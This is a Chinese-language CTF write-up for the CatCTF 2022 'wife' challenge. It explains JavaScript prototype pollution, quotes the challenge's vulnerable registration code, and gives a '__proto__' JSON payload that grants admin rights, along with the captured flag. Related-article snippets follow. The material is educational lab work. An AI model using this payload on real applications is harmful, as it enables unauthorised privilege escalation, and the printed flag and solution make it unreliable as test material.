WEB:Wife_wife
WEB:Wife_wife
use by payload:"__proto__"{"isAdmin":true}
get flag
CatCTF{test_flag_h0w_c@n_I_l1ve_w1th0ut_nilou}
参考:https://www.rstk.cn/news/25963.html?action=onClick
CATCTF wife原型链污染
CATCTF wife原型链污染
原型链污染原理:https://drun1baby.github.io/2022/12/29/JavaScript-%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/
如下代码,prototype是newClass类的一个属性。newClass
实例化的对象 newObj
的 .__proto__
指向 newClass
类的 prototype
function newClass() {this.test = 1;
}var newObj = new newClass();
JSON 解析的情况下,__proto__
会被认为是一个真正的“键名”,而不代表“原型”。如果是let o2 = {a: 1, "__proto__": {b: 2}}
则__proto__
会被认为是o2的原型。如果作为键名(不会被解析)就会作为子类的原型
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)o3 = {}
console.log(o3.b)
merge用于合并对象
merge 操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。
原型链污染
CATCTF 2022 wife
靶场:https://adworld.xctf.org.cn/challenges/details?hash=e5ba95f8-884a-11ed-ab28-000c29bc20bf&task_category_id=3
注册部分的代码:
app.post('/register', (req, res) => {let user = JSON.parse(req.body)if (!user.username || !user.password) {return res.json({ msg: 'empty username or password', err: true })}if (users.filter(u => u.username == user.username).length) {return res.json({ msg: 'username already exists', err: true })}if (user.isAdmin && user.inviteCode != INVITE_CODE) {user.isAdmin = falsereturn res.json({ msg: 'invalid invite code', err: true })}let newUser = Object.assign({}, baseUser, user)users.push(newUser)res.json({ msg: 'user created successfully', err: false })
})
json解析后,利用Object.assign()创建子类newUser,push进users
这里传入payload:"__proto__"{"isAdmin":true}
造成原型链污染,生成的user用户拥有isAdmin=true
WEB:Wife_wife相关推荐
- Flutter Web:Shadow Root问题
document.getElementById找不到节点 在flutter1.x版本的dev分支上可以使用flutter web,但是我们在使用第三方js sdk的时候会出现问题,比如AgoraRtc ...
- 移动开发中的 Web:WebView、WebKit、JSCore、Web 优化、热修复、跨平台、Native、Hybrid……...
移动开发领域近年来已经逐渐告别了野蛮生长的时期,进入了相对成熟的时代.而一直以来 Native 和 Web 的争论从未停止,通过开发者孜孜不倦的努力,Web 的效率和 Native 的体验也一直在寻求 ...
- web:H5和小程序的区别
web:H5和小程序的区别 H5和小程序的区别 H5和小程序不具备可比性,只是很多移动端的场景下,两种选择都能实现产品的大部分功能.最近几年,小程序的兴起,让人们理解他等同于H5,其实不然. 关于小程 ...
- 美团开源Logan Web:前端日志在Web端的实现
来自:美团技术团队 2018 年,美团点评推出大前端日志系统-- Logan,并开源了 Android 与 iOS 端的 SDK.这次,我们又开源了在 Web 环境运行的 SDK.日志分析平台以及服务 ...
- java web filter标签是什么,Java Web:5.Filter
目录 什么是Filter? Filter是由Servlet容器进行调用,对 Servlet容器请求java服务端程序(调用资源:JSP,Servlet,静态HTML),java服务端程序响应Servl ...
- Go Web:HttpRouter路由(一)
2019独角兽企业重金招聘Python工程师标准>>> HttpRouter是一个轻量级但却非常高效的multiplexer. 手册: https://godoc.org/githu ...
- Web:你知道我这十几年是怎么过来的吗?!
大家好,我是若川.持续组织了8个月源码共读活动,感兴趣的可以点此加我微信 ruochuan12 参与,每周大家一起学习200行左右的源码,共同进步.同时极力推荐订阅我写的<学习源码整体架构系列& ...
- 美团开源 Logan Web:前端日志在 Web 端的实现
1.前言 Logan 是美团点评推出的大前端日志系统,支持多端环境运行,可为客户端.Web.小程序等用户端环境提供前端日志的存储.收集.上报及分析能力,能够帮助开发人员快速定位并解决端上问题,便于及时 ...
- Go Web:HttpRouter路由
HttpRouter是一个轻量级但却非常高效的multiplexer.手册: https://godoc.org/github.com/julienschmidt/httprouter https:/ ...
最新文章
- Docker暴露端口服务器公网IP无法访问问题排查
- PowerShell导出共存环境下的Exchange数据库列表
- [ERROR]在删除BizTalk主机之前必须删除其所有实例?
- Spring vs Seam
- oracle trace发起用户,Oracle 使用TRACE进行SQL性能分析
- 现代数字影视 电影使用标准
- Linux 重启网卡
- c语言实验题——字符串排序,C语言中实现“三个数由小到大排序”的多种方法浅析...
- zgc,JDK8有类似的shenandoah,华为移植到JDK11
- SQL 连接 JOIN 例解。(左连接,右连接,全连接,内连接,交叉连接,自连接)...
- farm ugly chicken kick(fuck)这个计算机词汇的由来
- SAP中的录屏BDC最贱实践
- 【Linux 内核设计的艺术】从开机加电到执行 main 函数之前的过程
- cesium中长度测量和面积测量
- 四川贝利思科技:拼多多开店的优势所在
- 各种PDF转换问题(三).将AutoCAD图纸转为PDF文档
- Android 房租计算器,简单计算器
- 计算机论文致谢词范文500字,论文致谢词范文500字(精选5篇)
- VM12 启动虚拟机问题汇总
- word图文混排复制到JMEditor图片不显示